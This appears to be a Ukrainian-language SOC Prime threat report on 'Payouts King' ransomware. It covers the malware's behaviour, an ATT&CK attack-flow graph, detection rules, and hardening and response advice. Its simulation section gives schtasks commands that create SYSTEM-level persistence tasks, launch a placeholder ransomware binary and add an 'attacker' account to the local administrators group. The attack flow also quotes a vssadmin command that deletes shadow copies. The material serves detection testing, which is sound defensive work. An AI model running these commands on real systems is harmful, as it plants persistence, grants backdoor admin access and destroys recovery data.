Володар Виплат Намагається Захопити Престол Зловмисного Програмного Забезпечення-Вимагача

SOC Prime Team

Стежити

Володар Виплат Намагається Захопити Престол Зловмисного Програмного Забезпечення-Вимагача

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Розслідування

ThreatLabz проаналізував кілька зразків програм-вимагачів, розкривши обернені функції CRC та FNV1, використовувані шкідливим ПЗ, і виявив стійкість через заплановані завдання. Дослідники також задокументували схему шифрування, цільові розширення файлів і загальний потік виконання. Їх аналіз показав вбудований список процесів, пов’язаних із безпекою, які програма-вимагач намагається зупинити за допомогою системних викликів низького рівня перед початком шифрування. Додаткові індикатори, включаючи параметри командного рядка та шаблони розширень файлів, були безпосередньо витягнуті зі зразків для підтримки виявлення та зусиль щодо пошуку.

Зміцнення

Організації повинні запровадити багатофакторну аутентифікацію, навчити користувачів розпізнавати спроби соціальної інженерії та контролювати підозріле використання таких інструментів, як Microsoft Teams та Quick Assist. Захисники також повинні блокувати відомі розширення файлів, пов’язаних з програмами-вимагачами, та розгортати виявлення кінцевих точок, здатних розпізнавати створення запланованих завдань у каталозі Mozilla, а також виклики до SetFileInformationByHandle з FileRenameInfo. Регулярні резервні копії необхідно регулярно підтримувати, а тіньові копії слід захищати для поліпшення варіантів відновлення у разі шифрування.

Відповідь

Якщо виявлено активність Payouts King, негайно ізолюйте уражену систему та зберіть як вміст пам’яті, так і образи диска для криміналістичного аналізу. Слідчі повинні переглянути заплановані завдання на наявність таких імен, як MozillaUpdateTask and MozillaElevateTask, а потім полювати на аргументи командного рядка, захищені митним CRC, і унікальні розширення зашифрованих файлів, пов’язаних зі шкідливим ПЗ. Відновлення повинно зосередитися на відновленні даних з перевірених чистих резервних копій. Команди безпеки повинні також надіслати виявлені хеши зразків на відповідні платформи розвідки загроз, щоб підтримати більш широкі трекінг і захист.

graph TB classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef credential fill:#ffccff classDef operator fill:#ff9900 action_phishing[“Дія – T1566.001 Фішинг: цільове фішингове вкладення Опис: Електронний лист зі шкідливим вкладенням, що видає себе за ІТ-персонал, може використовувати Teams або Quick Assist для переконання користувача запустити файл. Ідентифікатор техніки: T1566.001”] class action_phishing action action_user_exec[“Дія – T1204.002 Виконання користувачем Опис: Жертва відкриває файл, запускаючи ransomware-бінарник. Ідентифікатор техніки: T1204.002”] class action_user_exec action tool_malicious_file[“Інструмент – Шкідливий файл payload Опис: Виконуваний файл, доставлений через фішингове вкладення. Тип файлу: .exe або скрипт”] class tool_malicious_file tool process_cmd_shell[“Процес – T1059.003 Windows Command Shell Опис: Ransomware створює процеси cmd.exe через pipe redirection. Ідентифікатор техніки: T1059.003”] class process_cmd_shell process action_scheduled_task[“Дія – T1053 Заплановане завдання Опис: Створює задачу (\Mozilla\UpdateTask) для персистентності. Ідентифікатор техніки: T1053”] class action_scheduled_task action action_elevate_task[“Дія – T1546 Події тригера виконання Опис: Створює задачу (\Mozilla\ElevateTask), що запускає ransomware як SYSTEM. Ідентифікатор техніки: T1546”] class action_elevate_task action defense_obfuscation_dynapi[“Ухилення від захисту – T1027.007 Динамічне вирішення API Опис: Хешує API (CRC/FNV1) і резолвить під час виконання. Ідентифікатор техніки: T1027.007”] class defense_obfuscation_dynapi malware defense_evasion_process_kill[“Ухилення від захисту – T1564.011 Ігнорування переривань процесу Опис: Завершує AV/захисні процеси через direct syscalls. Ідентифікатор техніки: T1564.011”] class defense_evasion_process_kill malware defense_obfuscation_general[“Ухилення від захисту – T1027 Обфусковані файли або інформація Опис: Стекове формування рядків і шифровані секції. Ідентифікатор техніки: T1027”] class defense_obfuscation_general malware impact_encrypt_files[“Вплив – T1560.003 Архівація кастомним методом Опис: AES-256-CTR + RSA-4096 шифрування файлів. Ідентифікатор техніки: T1560.003”] class impact_encrypt_files malware impact_delete_shadows[“Вплив – T1006 Прямий доступ до диска Опис: vssadmin delete shadows /all /quiet видаляє shadow copies. Ідентифікатор техніки: T1006”] class impact_delete_shadows malware impact_clear_logs[“Вплив – T1070.001 Очищення журналів Windows Опис: Використання EvtClearLog для видалення логів. Ідентифікатор техніки: T1070.001”] class impact_clear_logs malware credential_private_key[“Доступ до облікових даних – T1552.004 Приватні ключі Опис: Вбудований RSA приватний ключ шифрує AES ключі. Ідентифікатор техніки: T1552.004”] class credential_private_key credential action_phishing –>|призводить до| action_user_exec action_user_exec –>|виконує| tool_malicious_file tool_malicious_file –>|запускає| process_cmd_shell process_cmd_shell –>|створює| action_scheduled_task action_scheduled_task –>|створює| action_elevate_task action_elevate_task –>|активує| defense_obfuscation_dynapi action_elevate_task –>|активує| defense_evasion_process_kill action_elevate_task –>|активує| defense_obfuscation_general defense_obfuscation_dynapi –>|підтримує| impact_encrypt_files defense_evasion_process_kill –>|підтримує| impact_encrypt_files defense_obfuscation_general –>|підтримує| impact_encrypt_files impact_encrypt_files –>|використовує| credential_private_key impact_encrypt_files –>|спричиняє| impact_delete_shadows impact_encrypt_files –>|спричиняє| impact_clear_logs

Потік атаки

Виявлення

Можливе використання Schtasks або AT для стійкості (через командний рядок)

Команда SOC Prime

17 квітня 2026

Перегляд

Підозріла діяльність VSSADMIN (через командний рядок)

Команда SOC Prime

17 квітня 2026

Перегляд

Індикатори компрометації (HashSha256) для виявлення: Payouts King прагне зайняти трон програм-вимагачів

Правила AI SOC Prime

17 квітня 2026

Перегляд

Payouts King Ransomware Заплановане завдання для стійкості [Створення процесу Windows]

Правила AI SOC Prime

17 квітня 2026

Перегляд

Виконання симуляції

Передумова: Телеметрія та перевірка попередньої бази має бути пройдена.

Пояснення: У цьому розділі детально описується точне виконання техніки противника (TTP), розробленої для спровокування правила виявлення. Команди і наративи ПОВИННІ безпосередньо відображати TTP-идентифікатор та прагнути створити саме ту ж телеметрію, яка очікується правилами виявлення. Абстрактні або не пов’язані приклади призведуть до помилкового діагнозу.

Атакувальний наратив та команди:

Нападник, отримавши початковий доступ, хоче забезпечити запуск програми-вимагача при кожному перезавантаженні системи та отримати привілеї SYSTEM. Вони використовують рідний schtasks.exe бінарний файл, щоб уникнути додавання сторонніх інструментів. Спочатку вони створюють “UpdateTask”, яке запускає теоретичне навантаження програми-вимагача, а потім негайно створюють і запускають “ElevateTask”, який генерує процес з привілеєм для подальшого розвитків інфекційного ланцюга. Обидва завдання розміщені під Mozilla простором імен, щоб імітувати відомий патерн Payouts King.
1. Створення UpdateTask:
```
schtasks.exe /s "localhost" /ru "SYSTEM" /create /f /sc ONSTART /TN MozillaUpdateTask /TR "cmd.exe /c start C:Temppayouts_king.exe"
```
2. Створення ElevateTask:
```
schtasks.exe /s "localhost" /ru "SYSTEM" /create /f /sc ONSTART /TN MozillaElevateTask /TR "cmd.exe /c whoami && net localgroup administrators /add attacker"
```
3. Виконання ElevateTask негайно:
```
schtasks.exe /run /tn MozillaElevateTask
```
4. (Необов’язково) Перевірити наявність завдань:
```
schtasks.exe /query /tn Mozilla* /fo LIST /v
```
Ці точні командні рядки відповідають вибірка1 and вибірка2 пункти правил Sigma, задовольняючи умову: вибірка1 та вибірка2 та не виключення.

Скрипт регресійного тестування:

# Симуляція стійкості Payouts King з запланованих завдань
# -------------------------------------------------
# Крок 1: Створіть UpdateTask (стійкість при завантаженні)
schtasks.exe /s "localhost" /ru "SYSTEM" /create /f /sc ONSTART /TN MozillaUpdateTask /TR "cmd.exe /c start C:Temppayouts_king.exe"

# Крок 2: Створіть ElevateTask (помічник для підвищення привілеїв)
schtasks.exe /s "localhost" /ru "SYSTEM" /create /f /sc ONSTART /TN MozillaElevateTask /TR "cmd.exe /c whoami && net localgroup administrators /add attacker"

# Крок 3: Запустіть ElevateTask негайно, щоб згенерувати другий події виявлення
schtasks.exe /run /tn MozillaElevateTask

# Крок 4: Виведення підтвердження (не вимагається для виявлення, для видимості оператора)
Write-Host "Заплановані завдання створені і ElevateTask виконано."

Команди очищення:

# Видалити завдання, створені для тесту
schtasks.exe /delete /tn MozillaElevateTask /f
schtasks.exe /delete /tn MozillaUpdateTask /f

# Опціонально видалити фіктивне навантаження
Remove-Item -Path "C:Temppayouts_king.exe" -ErrorAction SilentlyContinue

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно